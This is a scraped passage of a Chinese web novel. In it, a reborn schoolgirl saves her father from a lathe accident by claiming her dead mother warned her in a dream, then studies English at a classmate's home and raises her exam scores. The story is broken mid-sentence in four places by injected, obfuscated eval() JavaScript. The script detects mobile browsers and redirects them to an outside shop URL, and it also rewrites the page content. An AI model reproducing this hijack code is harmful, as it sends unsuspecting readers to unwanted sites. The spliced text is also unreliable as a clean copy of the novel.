0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059904|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美好的风景。 程守萍真的有点不好意思,以自己一个成年人的阅历来写小学生作文,胜之不武。 其实她在写完作文后自己看的时候,觉得词句太像大人口吻了,翻出以前的作文做为参照,反复改了很久,才改到现在这个版本。 比以前的作文好一点,但又没有好太多。真正让陈老师觉得值得表扬的,可能也就是最后的点题了。 一下课蔡琳玲就揪住她:“守萍,救救我。” 程守萍向她投去一个疑惑的眼神。 “作文啊!作文!要怎么重写啊?” 程守萍朝前排某个背影示意:“真正的高手就在你前面,你不问他么?” 前排背影明显一僵。 蔡琳玲:“他那种作文水平太高了,我学不来。” 背影变得松弛下来。 程守萍忍笑,让她把作文拿过来看看。 “守萍,亲爱的萍,我就知道你最好了!”蔡琳玲迅速递上作文本。 程守萍看她的作文,边看边笑,能把作文写成报菜名,也是个人才。 她想了想后说:“我这篇作文陈老师说有真情实感。你在秋游的时候,让你记得最清楚的一件事是什么?” 蔡琳玲说了一堆让她开心的事。 程守萍让她打住:“只能说一件事,最开心也可以,最不开心也可以,是那种让你能记住很久的事,也可以是一件小事情,但让你印象特别深刻。” 蔡琳玲想了老半天:“我最开心的其实就是一整天都不用上课。” 程守萍:“……”有点难救。 最后还是让她从刚才说的一堆开心事中,挑出两三件来详细写,公式化套个开头和结尾就行。 蔡琳玲开了个头之后就挠头苦思。 程守萍抓紧时间拿出英语书来请教沈继舟。 二十六个字母表她已经背得滚瓜烂熟,倒过来背,跳着背都没问题。然而,每个英文字母后面都有单词,拼成单词的每个字母她都认识,单词后面也有中文解释,但是单词她不知道怎么读啊。 沈继舟指着第一个单词:“f,a,c,e,face。脸。” 程守萍马上跟念,连念好几遍后,在笔记本上抄下单词,在后面标上“废丝(脸)。” 沈继舟忍不住笑了:“不要这样标,按中文念的话,会发音不准的。” 他说:“有磁带可以跟读。明天我带给你。” 程守萍先是一喜,然后眼神暗了下来:“我家没有录音机。” 沈继舟也沉默了。 “没关系。”程守萍朝他笑笑,重新振奋起来,“每天向你请教几个,积少成多。就是要一直麻烦你了,沈老师。” 这句沈老师一出口,沈继舟就窘了,喃喃地想说什么,最后也没说出口,干脆转回身面对黑板。 程守萍暗笑,心说这小老师脸太薄,禁不起逗。 - 转眼到了星期二,这一天就是程守萍在笔记本上画红圈的日子。 她没等闹钟响就醒了,睁着眼在黑暗中默默酝酿。 8. 【托梦】 窗帘边缘透进来淡淡的光。 她想起爸爸出院后,因为怕残缺的手吓到她和弟弟,始终把右手放在口袋里不拿出来,只用左手拿东西,吃饭也用左手拿勺子。穿衣服不好穿,他都是背朝着她们扣纽扣,但到底是少了两根关键手指,扣子扣得很艰难。 她见爸爸一直背对他们,觉得奇怪,探头去看:“爸爸,你在做什么啊?” 爸爸赶紧把手藏到背后,但她已经看到了。 那天她抱着爸爸哭了很久很久。 一想起这些往事,她的眼泪怎么也止不住。 她跳下地,跑到爸爸的小床边摇他,带着哭腔叫道:“爸爸!爸爸!” 程根生乍然醒来还有点迷糊,听到女儿的哭声立时清醒,猛然从床上坐起,一边下地穿鞋,一边问:“出什么事了?” 房间里已经有了点光,他见女儿虽然哭得厉害,但看上去不像有什么事的样子,不由心头一紧:“宏宏怎么了?” 程守萍抱住他哭喊:“爸爸你的手没了,呜呜呜,你的手……” 程根生:“……” 他伸手按开了灯,让女儿看清他的双手一点事都没有,随后问她:“是不是做梦了?” 程守萍抹把眼泪,抓住他的手盯着看了一会儿,才点头:“爸爸,我梦见你开车床,车刀飞出来把你的手指削断了。流了好多好多的血,呜呜呜呜……” 程根生默然片刻,这当然是每个钳工最怕的事故之一,但这种事故也极少发生,只要严格按照安全规范操作,就几乎没有发生的可能。大厂子的安全规范每一条都是血淋淋的事故总结而来的。 他笨拙地摸摸女儿的头,说道:“梦不当真的,爸爸的手会好好的。” 程守萍急了,如果爸爸不信的话,她所说的话不是产生反效果了吗? “爸爸,这个梦太像真的了,我还梦见娄叔叔了。一开始是他在车床旁边,然后他去接电话,人走开了,换爸爸过来开车床的时候,车刀就飞出来了。” 程根生心里暗自嘀咕,女儿又没有进过车间,怎么会做这样的怪梦?甚至还梦到了小娄。难道是哪次他不在的时候,小娄用这类安全事故吓唬她了? 他心里疑惑,便问她:“你怎么知道车床车刀这些的?还有车刀飞出来的事,是小娄对你讲的?” “是妈妈跟我说的。” 是秀珍吗……程根生沉默了,两年前女儿还那么小,秀珍怎么会对她说这些? “昨天晚上我梦见妈妈了,是妈妈跟我说爸爸有危险的。爸爸,你今天不要去上班了好吗?就请一天假好不好?” 程根生想起秀珍本来有点伤感,突然听见她这句倒有点哭笑不得了,看女儿哭得眼睛都红了,眼泪鼻涕糊了一脸,不觉又心疼又好笑。 想替女儿擦擦眼泪,但秀珍说他摸多了扳手老虎钳,手上的皮太粗,小孩脸嫩,会疼的,就回手抓起枕头毛巾,用反面替她抹了抹眼泪鼻涕。 “请假不好随便请,要扣工资的。爸爸不会出事,爸爸开机床会当心的。”温言哄了几句,他拍拍女儿的肩,让她去穿校服准备上学。 程守萍也就先不哭了,穿好校服后去喊醒弟弟。 到程根生带宏宏出门的时候,程守萍又拉住程根生的手叮嘱一遍:“爸爸,不管是不是真的,你开车床前一定一定要仔细检查啊!” 程根生拗不过她,点头答应会仔细的。 等父子俩出门后,程守萍也背上书包出了门。虽然再三叮嘱,她又怎么可能真正放心。 前世爸爸出事的时间她只知道个大概,不知道具体的几分几秒。但她知道就是娄桐出来接电话的时候。事故发生后厂里开过大会,专门讲了这个事情。 女朋友打来的电话,不可能打去厂办公室,多半是打去传达室。周六她看到娄桐去接电话,就是往传达室方向跑的。 她一路慢慢走着,耗着时间,走到厂门口附近的时候停下,找了棵大树当遮挡,这个位置,能清楚听到传达室里声音,但传达室的门卫看不到她。 她不敢看书,怕看入迷了忘记留意传达室里的动静,就只是默默在心里背着昨天刚学会的几个单词和短句。 每次听到电话铃声响起,她的心都跟着猛跳一阵,听到不是找娄桐的,心跳才慢慢平复下去。 大树的影子慢慢转动着角度。 终于听到门卫大叔接电话时说:“找娄桐啊,你等等。” 随后他拎起另一个电话拨内线:“三车间娄桐,来传达室接电话。……女的。” 程守萍强忍住立即奔进去的那份冲动。她不是没有想过,早上起来假装肚子疼,让爸爸请假带她去看病,那就肯定能避过今天这桩祸事。 可是,躲过了这一天,以后呢? 只要娄桐还在三车间,只要他还是这样吊儿郎当的工作态度,随时都有可能发生类似的安全事故。难道她还能每天找理由来让爸爸请假吗?要不然就天天提心吊胆,害怕着不幸的发生? 行不通的。她只能做到提醒爸爸,让爸爸更当心,能够提前发现隐患,从而避免事故的发生。 但是,她真的怕万一啊! 车间里都知道娄桐谈了个女朋友,听说还挺漂亮的,所以他特别上心。女朋友隔三差五打电话来找娄桐,每次他都像打了鸡血一样,急吼吼冲出去接电话,生怕让人家等久了。车间里的人都取笑他,没结婚就这样,结婚以后肯定是个妻管严。娄桐就说人家嫉妒他女朋友长得漂亮。 程根生对此本来也是一笑置之的,但当娄桐飞奔出去接电话的时候,他马上想到了女儿早上做的梦。 她说小娄去接电话,等他来开车床的时候,车刀就飞出来了。 怎么会这么巧,刚好今天就有电话来找小娄? 他走近车床,仔细检查了车刀,肉眼看是已经固定好了,但想起女儿的那个梦,到底是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059905|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以放心。他拿来扳手试了试,发现夹具还能继续旋紧四分之一圈。 不要小看这四分之一圈,低速空转试车的时候根本看不出来,但是机床高速运转的时候,车刀与零件一碰就会剧烈振动,撞击力量非常大,能把车刀震断,飞出来就是堪比子弹的速度,只要碰到人,非死即伤! 程根生暗暗心惊,要不是女儿早晨那个梦,要不是她哭着求他请假别来上班,他也不会想到娄桐竟会丢下没有完全紧固的车刀去接电话。如果真被飞出的车刀击中,别说手没了,连命都可能没了! 女儿说是梦里妈妈告诉她的。秀珍,真的是你托梦给女儿的吗? 如果是以前的程根生发现这种事,生气是一定会生的,也会好好说一说小娄,让他以后不能犯这样的错。但以程根生与人为善,息事宁人的做人原则,如果小娄极力恳求他,又做出永不再犯的保证,这种情况下他大概率是不会上报领导的。 可想到女儿早晨哭成那个样子,如果他真的手没了,甚至命也没了,老婆早就不在人世,两个年幼孩子以后要怎么办?只要一想到姐弟俩没了爷娘,以后天天要哭,还不知道要受多少罪,吃多少苦,程根生就心疼得忍不下这口气。 所以他直接上报车间主任了,甚至没有等小娄接完电话回来。 程守萍在工厂外等了许久,没看到任何异状,但不知道车间里面到底发生了些什么事情,到底还是煎熬。一直到快中午,也没有什么特别的骚动,也没有救护车开过来,她才松了口气。 大树的投影变得极短,差不多是学校放学吃午饭的时间了,程守萍走向门卫室:“罗叔叔好。” 罗向阳探头看了看,讶异地问:“哎,是萍萍啊?怎么这个时候来了?” 随着她年龄增长,爸爸都改口叫她守萍了,罗叔叔还是一直叫她萍萍,一直叫到十几岁。不过厂里的长辈都是看着她长大的,大多数也都是叫她萍萍,叫惯了。 程守萍看到罗向阳脸上神色如常,心就更定了,她说:“我来找爸爸一起吃中饭。” 程根生听说女儿来找他,起初诧异,再一想,肯定是因为那个梦,让她太害怕了。哪怕是他自己,想想那把车刀飞出来的后果,一样后怕到现在。 为了安慰女儿,他说什么事都没有,然后带她去食堂打饭。 程守萍是不会相信爸爸这套说辞的,因为在食堂吃饭时,她看到娄桐用怨恨的眼神盯着爸爸。 所以爸爸不光是发现了事故隐患,还上报了? 这可让程守萍意想不到,爸爸这样的老好人,不是最怕和人结怨的吗?不过立即上报才是对的,这一次没酿成大祸只是因为爸爸有了提醒,检查得更仔细罢了。就是该给娄桐这样的人一个教训,如果轻易放过,只会让他更不把安全规范当回事。 不过看娄桐的眼神,像是恨上了爸爸。她故意提醒一句:“爸爸,娄叔叔为啥一直盯着你看啊?他眼睛瞪得好凶啊!” 9. 【赤豆棒冰】 程根生转头看了眼。 娄桐与他目光一对,恶狠狠瞪他一眼,随即斜眼看向别处。 程根生回过头来,安慰女儿:“没事,他肯定是看别人呢。” 程守萍不想揭穿爸爸,反正提醒的目的已经达到,也就装作没事一样继续吃饭。 吃过午饭,程守萍回到学校上下午的课。 校园里遇到陈老师。陈老师关心地问:“守萍,你去医院看下来怎样?” 程守萍笑着回答:“医生说没事,就是有点消化不良,配了点药,吃几天就好了。” “哦,那就好。”陈寒梅松了口气,又叮嘱几句便走了。 回到教室,蔡琳玲好奇地问她:“你怎么请假了?干啥去了?” 程守萍照例把消化不良的说辞搬出来应付。 “要吃药啊?”蔡琳玲满脸苦相地咧咧嘴。 “吞药片就行了,又不是喝中药,你干嘛这副样子?” “我最怕吃药了,药片会黏在舌头上,等我含住水了,药片就到处乱跑,水吞下去了,药片还在舌头上,化开来了,更苦!”蔡琳玲绘声绘色地描述着她吃药的情景。 程守萍好笑地摇头:“你含口水的时候,把头仰起来一点,药片就自己落到你喉咙口了,这时候再咽,不就一起下去了?” “真的啊?下次我试试。” “最好没有下次。” 蔡琳玲吐吐舌头:“说得也是,哈哈!” 前排两个男生也跟着笑,王新宇笑得尤其大声。蔡琳玲毫不客气地一巴掌打在他后背上:“笑什么笑!” 王新宇其实不觉得有多疼,但多少有点不爽:“你干嘛老是打我,沈继舟也笑了,你不打他?” 蔡琳玲翻他个白眼:“他是正常地笑,你是在嘲笑我,还笑得那么大声!”不打你打谁。 王新宇和蔡琳玲来回争了几句,最后词穷,转身背朝着她,重重哼一声:“好男不和女斗。” 蔡琳玲:“我还懒得和笨蛋讲话呢。” 王新宇:“……” 放学后,蔡琳玲拉着程守萍和另外几个回家方向差不多的女生一起走,一路嘻嘻哈哈地好不热闹。 每到一个路口,都有几个人往不同的方向走,到最后蔡琳玲也和程守萍挥手再见了,程守萍就变成了一个人。 走出没多远,听见有人叫她:“程同学。” 程守萍站定,等他快步赶上来,同时用一种疑惑的眼神望着他:“沈同学?” 他是有什么话不方便在学校说吗? 沈继舟走到近前,却没有马上说话,眼睛望着别处,似乎酝酿了一会儿才能说得出话来:“你家不是没录音机吗,我家里有,你要不要来听英语磁带,跟着磁带读。” 程守萍吃惊地睁大了眼睛:“去你家?” 沈继舟依旧望着别处:“你不是要学英语吗?听磁带跟读可以提高听说能力,如果只是抄写或默写的话……” “好啊。”程守萍欣然答应。 沈继舟:“……” “但是我今天要去接弟弟。等我和爸爸说一声,明天再去你家,行不行?” 沈继舟轻舒口气,神情也跟着放松下来,眼里带了笑意:“行。” 程守萍又想到一件事:“你爸妈知道我会去吗?你和他们说了吗?” “说过了。他们都知道的。” 程守萍放心了:“那太好了,谢谢你呀。”英语四大基本功听说读写,光会读写怎么行,听说都要熟练才是真的学会了啊! 吃晚饭的时候程守萍对爸爸说起这件事:“爸爸,我明天想去同学家里,他家里有录音机,可以听英语磁带,我放学后去听一个钟头再过来行不行?” 程根生:“那个借你英语书的男同学?” “对,他叫沈继舟,他爸爸是老师。” 程守萍见爸爸沉吟不语,便开始替沈继舟说好话:“爸爸,沈同学作文写得可好了,他爸爸还让他提早学英语,我平时有不懂的都会问他……” 程根生:“他家住哪里?” 程守萍:“我也不知道啊,今天他才问我要不要去,我说要先问过爸爸,明天再去他家的。” 程根生看着女儿热切的眼神,终是点了头:“行,明天我去接宏宏吧。” - 第二天放学后,蔡琳玲还是拉着程守萍一起,几个女生同路回家。程守萍回头看看,沈继舟就在马路对面,同方向,一个人走。 等其他人都各自分开回家了,他才从马路对面穿过来。 程守萍:“……”怎么搞得像地下党接头一样。 不过她们一群女生嘻嘻哈哈,他一个男生混在里面的话,也确实有点太显眼。如果是王新宇那样的性格,可能还好点。 偏偏沈继舟属于不太合群的那种人,安静少言,和现在这个年龄阶段的其他男孩子比起来,显得要成熟一些。 嗯……程守萍想起班里那些男生的幼稚言行,把“一些”换成了“许多”。 即使是现在一起同路走,只要她不开口,他就不会主动挑起话题。 “沈同学,问你个事。” “嗯?” “那天摄山拍的照片要多久能冲出来?” “已经冲好了,你来我家,正好给你照片。” “太好了。”程守萍笑了起来,她很期待那张照片,也不知道拍的好不好,“要多少钱?冲照片加上胶卷的钱。” 沈继舟摇头:“不用,照片是我爸爸自己冲印的。” 程守萍:“那也要材料费啊。”她记得冲印照片好像还要用到各种药水。 沈继舟笑了:“真的不用。我还拍了很多其他照片,都是一起印的,要怎么算钱啊?” “那……我请你吃奶油雪糕。”程守萍咬咬牙,也豪气了一把。 一根奶油雪糕就要一毛钱了!但要不是沈继舟拦着,她就在书店里把书买了,也没有磁带可以跟读,要自己去啃那本英语书,她肯定啃不下来。 这回沈继舟点头了。 结果跑去店里一问,奶油雪糕早就卖完了。已经十月份了,商店里冷饮卖完就不会再去补货了。最后售货员从冰柜下面翻出来两根赤豆棒冰,四分一根。 一人一根赤豆棒冰,咬一口,还有一粒粒的赤豆可以嚼,又甜又香。吃到家门口,刚好吃完。 沈继舟用写过的草稿纸把两根棒冰棍包起来,藏在书包里,还对她说:“你不要跟我妈妈讲吃棒冰的事。” 程守萍:“……” “上次我们吃油墩子的事,也不要讲。” 程守萍强忍笑意点头,只怕一开口就要笑出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059906|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 开门进去,眼前先是暗了一下,然后慢慢开始适应。 门口有鞋柜,地上摆着两双儿童拖鞋,一双深蓝,一双青绿。两个人换拖鞋的时候,沈继舟的妈妈从里面走了出来。 她是个很好看的女人,五官清秀端丽,留着齐肩半长发,浅蓝色的衬衫,外罩一件米白色绒线衫,灰色西服长裤,衣着整洁素雅中透出股干练,表面上看不出有多严厉,至少在她微笑着的时候是一点也看不出来的。 听沈继舟在门外叮嘱那口气,她还以为他妈妈有多凶呢。 程守萍也向她微笑,声音清清脆脆的:“阿姨好。” “你好啊。”后面半句是对他们两个说的,“点心在桌上。洗了手再吃。” 两个人刚吃完赤豆棒冰,舌头被冰得有点木,其实都不想吃点心。洗完手之后,沈继舟就进房间拿照片。 程守萍站在厅里等他。 客厅大概十来个平方米大小,深色的仿红木家具,上面铺着花色淡雅的细棉布防尘。厅中央是一张方形餐桌,玻璃台板下面是雪白的镂空钩花桌布,桌布四角沿桌边垂下。整个房间井井有条,非常干净。 不多时,沈继舟从房间里出来,把照片放在桌上:“你坐吧。我去拿录音机。” 程守萍坐下,拿起照片细看,第一张就是她对着镜头笑意盎然的照片。 她知道自己不是那种浓眉大眼的漂亮姑娘,再加上平时吃得比较节俭,脸颊瘪瘪的丰满不起来,不过这张黑白照片上看不出来这些,只看到满脸满眼灿烂的笑,齐耳黑发在风中飞扬。 还挺好看的。 翻到下一张照片,是她替沈继舟拍的,稍微有点糊,也不知道是她对焦没对准,还是手抖了,不过还是能看出来他笑得很放松。 还有一张也是她拍的沈继舟,这张不糊了,是她正好抓拍到他微愕的表情。 看来她也是有点摄影天分的嘛。程守萍在心中暗暗给自己比了个大拇指。 后面很多张都是沈继舟拍的天文台,有一张是逆着阳光拍摄的。 整个天文台的背光面呈现暗灰色,但在穹顶一侧,刚好露出一点点太阳,阳光就如星芒一般,从这个点向周围四射而出,像在天文台的穹顶上镶嵌了一颗耀眼炫目的星星,其光芒又将整个穹顶的轮廓都清晰勾勒出来了。 天文台,观星之所。穹顶上这一道炫目的星芒,正是点睛之笔。 程守萍倒吸了口气,连她这个外行都能看出来这张照片拍得有多完美。 唯一的遗憾是照片不是彩色的,但也可能正因为是黑白照片,才能将这种黑白灰的对比推到极致。 可别说,陈老师点评作文时,说沈继舟有双善于发现美的眼睛,还真有点道理。 沈继舟抱着录音机出来,先是放桌上,但电线不够长,够不到插座,最后干脆放在地上。 程守萍本来想对他说,这张逆光拍摄的照片真的很有水平,是能去参加摄影比赛的程度。 刚拿起这张,就看到了下面的照片:“咦?这张是什么时候拍的?” 这张是中景,画面三分之一处是个女孩。 山风吹起她的校服,像鸟儿的翅膀一样在她身后展开,她迎风而立,微微眯眼朝着太阳的方向扬起下颌。 在她面前,是一片辽阔无比的天空。 10. 【成绩提升】 沈继舟刚插好插头,从地上爬起来的时候脸还有点红,看了眼她手中的照片:“这张是……试拍的。胶卷的第一张,有可能拍不全。” 其实程守萍看到照片就想起来了,那会儿沈继舟刚拿出相机,她看他一时半会儿弄不好,就跑去观景台看风景,吹了会儿风后,她听到了像是相机快门的声音。 随手试拍一张就有这种实力吗? 不知为何,比起自己对着镜头笑的那张,程守萍更喜欢这张照片,虽然因为距离较远,这张照片上她的五官略显模糊,但她就是特别喜欢。 她拿出课本,小心地把两张照片夹在里面,由衷地对沈继舟说:“我很喜欢这两张照片,拍得真好,谢谢你。” 沈继舟笑了,带着少许赧然,转身装好磁带,按下播放键。 磁带沙沙轻转。 “LessonOne” 随着录音机里传出的清晰朗读声,两个人的表情都变得格外专注起来。 听一句,按下暂停,她跟读一遍,如果有发音不准的地方,沈继舟还会立刻纠正,真的一板一眼做起老师来了。 一课读完,沈继舟把磁带倒回开头。 跟着磁带反复读了快半小时后,沈继舟妈妈端来一盘切成片的苹果,上面插着牙签,放在桌上招呼他们吃。 程守萍确实觉得口干,谢过沈继舟妈妈,拿一片苹果快速吃完,继续听磁带跟读。 一小时很快就到,程守萍看了眼墙上的挂钟,按停录音机:“我要走了。”和爸爸说好晚一个钟头过去的,第一天还是别超时比较好。 她走到厨房门口。沈继舟妈妈正在洗菜。 “沈继舟妈妈。”等她回过头来时,程守萍朝她微笑致意,“谢谢你切苹果给我吃,苹果很甜很好吃。谢谢沈继舟爸爸冲印的照片,还要谢谢你们同意让我来听英语磁带。”说完朝她鞠了一躬。 林月妍被这一连串谢谢逗笑了,转身擦干手上的水:“不用谢。舟舟回来说你在学校帮过他,本来要写检讨书的,说清楚后老师还向他道歉了。” 听沈继舟妈妈这么说,程守萍有点不好意思:“他是好心给我吃饼干,被人告状打小报告才差点写检讨书,我去向老师说清楚这件事,是我本来就应该做的。” 林月妍带着浅笑,赞许地点了点头。 这件事舟舟一开始没说,饼干被吃完了也不告诉她,还是她发现饼干盒空了,给他重新补满的。直到前两天,他提起要带同学来家里听磁带的时候才把这事说出来。 小学读几年了,第一次说要带同学来家里。林月妍也很好奇是个什么样的同学。 今天看到了,原来就是照片上那个女同学。 程守萍进门时,林月妍就注意到她的校服不太合身,手腕脚踝都露出来一截,显然是孩子长高了但家里没有及时给她买新校服。鞋子洗的很干净,也是旧的。 但是这孩子看人的眼神很正,说话有礼貌,进屋后一个人的时候也没有到处乱翻乱看,规规矩矩的等着舟舟拿照片给她。桌上的糕点她一块没碰,切的苹果也只吃了两三片,是个很有分寸的孩子。 因为要带同学来听磁带,舟舟自己先把这段课程听了好几遍,反复地跟读,确保自己发音足够标准。比他爸爸要求的还要认真许多。 林月妍笑着朝程守萍说:“我和舟舟爸爸都觉得你是个好孩子,随时都欢迎你来。” 她们说话的时候,沈继舟本来站在旁边送客,听到妈妈揭自己老底,说他为了今天提前把磁带听了好几遍就有点挂不住脸,转身回房间里去了。 程守萍暗暗好笑,再次诚挚地谢过沈继舟妈妈,离开沈家。 时近傍晚,天边的红云层层叠叠。程守萍边走边默背刚才读过的那些单词与短句,不知不觉就到了工厂门口。 爸爸和弟弟已经吃过饭了,正在食堂等她。 程根生见她来了,就去窗口打饭。宏宏拉着她问:“姐姐,学英语是什么啊?” 今天是爸爸来接他,他问爸爸姐姐去哪儿了,爸爸说姐姐在学英语。 后来打饭吃饭,一直都没看到姐姐,他心里纳闷,问了好几次爸爸,每次爸爸都说姐姐在学英语。学英语到底是什么啊? 程守萍:“英语就是外国人说的话,学英语就是学他们说话。” 宏宏更纳闷了:“为什么要学他们说话?” “因为……”以后会有很多外国人来中国,英语变得越来越重要,还会掀起全国性的学英语热潮。这当然没法说,程守萍最后只给了宏宏这么个答案:“因为有用。” 宏宏的大眼睛眨巴了好几下,接受了这个言简意赅的答案。 吃完饭回到家,程守萍争分夺秒地拧开台灯,摊开作业簿。作业写完后背古诗,接着预习数学,最后把今天读过背过的英语默写一遍,再对着书批改,拼写错误的单词罚抄十遍。 爸爸的手保住了,她终于可以全身心地投入学习。 数学对她来说是最没有难度的,小学学习的都是非常基础的运算,学会了就不会忘记。但语文不同,有课文和古诗要背。 她现在学习的重点还是放在英语上,每天都在放学后去沈继舟家里读一个小时英语。 现在这个身体精力可能不太够,但记性是真的好,课文也好古诗也罢,通读两遍就能背个八九不离十。连英文词句背起来也没她想象中那么难。 唯独让她不满意的,是身体太瘦弱,虽然有营养不够的原因,也和她吃得少并且不运动有关。 她需要一个强壮而且精力充沛的身体,所以她开始晨跑。一开始跑不了多久,几分钟就喘不上气。她就跑一段走一段,等气喘匀了再继续跑。慢慢能跑的时间越来越长,喘着气走路的时间越来越短。 坚持运动一段时间后,她的胃口变好了,饭量随之见长。 而且晨跑之后,她这一整天状态都会很好,头脑特别清醒,学什么都很快。 十一月初的期中考试,程守萍语文考了90分,数学91分,总成绩提升了七八个名次。事实上她还刻意做错几道题目,把分数压低了,要不然成绩提升太猛,她怕老师会怀疑她考试作弊了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059907|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管如此,也属于进步巨大。陈老师特意在班会课上表扬了程守萍,说她虽然学习环境艰苦,但她不畏艰难,积极上进,号召全班向她学习。 其实这段时间程守萍的努力所有师生都看在眼里,她对于被怀疑作弊的顾虑完全是她自己多虑了。 沈继舟这次语文考了98分,拿下班级第一。语文课代表曹俊只有95分,报成绩的时候,陈老师意味深长地看了曹俊一眼。曹俊低下了头。 下课后,蔡琳玲问沈继舟:“我记得陈老师原来叫你当语文课代表的呀?为啥后来变曹俊了?” 沈继舟:“我不想当课代表。” “咦?为啥?” “太麻烦了。” 课代表每天要负责收发作业,要领着大家读课文,有时候还要帮老师批改练习。沈继舟根本不想做。但他对陈老师说的时候,陈老师就说成绩越是优秀,越是要多承担责任,要做学习上的领头雁。 于是沈继舟在下一次默写的时候故意默错两个词语。陈老师说他太粗心了,语文课代表还是让曹俊当吧。 “……” 蔡琳玲都惊呆了,居然有人放着现成的课代表不当,理由居然是太麻烦了。她想当还当不上呢! - 这天在厂里大食堂吃晚饭的时候,有个熟人瞧见他们,过来朝程根生道了声:“老程啊,吃饭呢?”接着也没等他回答,就转过头来问:“萍萍啊,你期中考试分数出来了吗?” 程守萍抬眸,认出了眼前矮壮身材的中年女人,便朝她笑笑:“马阿姨好。出来了。” 马冬兰是明知故问,她当然知道分数出来了,她儿子王小军也在实验小学读书,和程守萍是同一个年级不同班级,这么问就是想打听她考了多少分。 见程守萍不肯说分数,肯定不如自己儿子考得好,她心里得意,追着问道:“考了多少分啊?” 程守萍之前的成绩确实拿不出手,马冬兰明明知道,每回考完试还要来问,再拿王小军的分数比一比,那优越感马上就来了。 于是程守萍脸带愧色地说:“考得不好……” 马冬兰嘴角的笑容还没来得及完全绽开,就听程守萍接着说:“语文只考了90分,数学只考了91分。” 马冬兰的表情瞬间僵硬,她没听错吧?两门都考了90分以上?这怎么可能?上回问她,数学还只考了72分呢。 对,一定是她听错了。 “阿姨没听清,你刚才说你考了多少分?” “语文90分,数学91分。”程守萍一字一顿地又报了一遍分数。 马冬兰的笑容彻底消失,不对,肯定不对,程家小囡肯定撒谎了,怎么可能短短半年成绩就提得这么快? 她用怀疑的眼光盯着程守萍:“萍萍,撒谎可不好啊,你老实说,到底考了几分?” 程守萍叹口气,从书包里拿出两张试卷,把正面对着马冬兰,上面清清楚楚的红色数字。 陈老师还在语文卷子上打了五角星,写着进步非常大的评语,后面还有个醒目的感叹号! 11. 【准备冬衣】 马冬兰满脸难以置信的表情,凑近细看,还真的是90分和91分。 她不由嗓门提高了八度:“这还叫考得不好?!” 她家小军这次语文考了84分,数学89,已经是最接近90分的一次了,她还觉得儿子有进步了呢。 其实王小军成绩一般,并不属于班级顶尖那档,平时也就靠和程家小囡比较来获得一点优越感,谁知道这次反叫程家小囡比下去了! 程守萍点点头:“是没考好,有几题本来会做的,哎,粗心了。对了……”她笑眯眯地问,“小军哥哥这次考了多少分啊?” 马冬兰:“……” 被反将了! 因为马冬兰情绪激动,说话嗓门也拔高了,大食堂里吃饭的工人们从刚才开始就注意到了她们,甚至还有好事者端着饭盆跑到近处来,边吃边打听情况。 马冬兰这才发现已经围了这么多人过来,投过来的眼神大多带着讥笑之意,都等着看好戏呢。 她一张圆胖脸涨得通红,憋了半天也没能当众说出王小军的分数,只好说:“我,我还没问过他呢。”丢下这句就从人群中挤了出去,匆匆离开食堂。 走出好远,她才想起来自己饭忘了打,但这会儿再叫她折回食堂去打饭,那她是死也不回去的。 程根生也是才知道女儿这次居然考得这么好。他刚才本想问的,但看女儿只字不提考试分数,只顾低头扒饭的样子,猜想可能是考砸了。 食堂里那么多人,小囡也要脸面的,她这段时间那么用功读书背书,万一没考好,心里不是更难过? 所以程根生想想还是在回家路上再问她,要真是考砸了,还得鼓励鼓励她,让她别灰心。 想不到这次考了两个90分以上,老师还表扬她进步大,给她打了五角星。 程根生内心喜悦,起身去食堂窗口添菜,问下来大排和狮子头已经卖完了,红烧肉女儿又嫌太油腻,就买了两个荷包蛋回来。 食堂做的荷包蛋,煎完之后还会放点酱油水和白糖煮一会儿,咸中带甜,水润润油汪汪的。 宏宏已经吃完饭了,一看到荷包蛋,口水又出来了,可爸爸说这是姐姐考试考得好的奖励。 他羡慕地看着姐姐碗里的荷包蛋,可怜兮兮地问:“我什么时候可以考试啊?” 程根生和程守萍都笑了。程根生摸摸他头:“等你上学以后。” 宏宏不服气地说:“我现在天天上学啊!” “你那是幼儿园,不考试的。只有上小学才有考试。” 宏宏嘟嘴:“我也要上小学。”上小学真好啊,有考试,还有荷包蛋奖励! 程守萍简直要被他笑死,等他真上学了,不要天天哭唧唧就好。 之后几天,经常有和程根生熟悉的工人,在厂里看到程守萍就问她考了多少分,基本都是善意的,问完之后还会夸她几句。 